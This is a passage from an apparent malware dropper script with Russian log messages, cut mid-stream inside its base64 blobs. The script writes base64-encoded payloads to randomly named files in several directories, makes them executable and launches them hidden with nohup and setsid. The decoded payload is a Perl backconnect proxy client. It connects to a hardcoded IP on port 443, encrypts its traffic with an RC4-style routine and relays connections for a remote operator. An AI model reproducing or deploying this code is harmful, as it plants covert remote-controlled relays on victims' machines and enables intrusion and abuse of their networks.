IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #41 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #41 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 42 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xOTAnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs 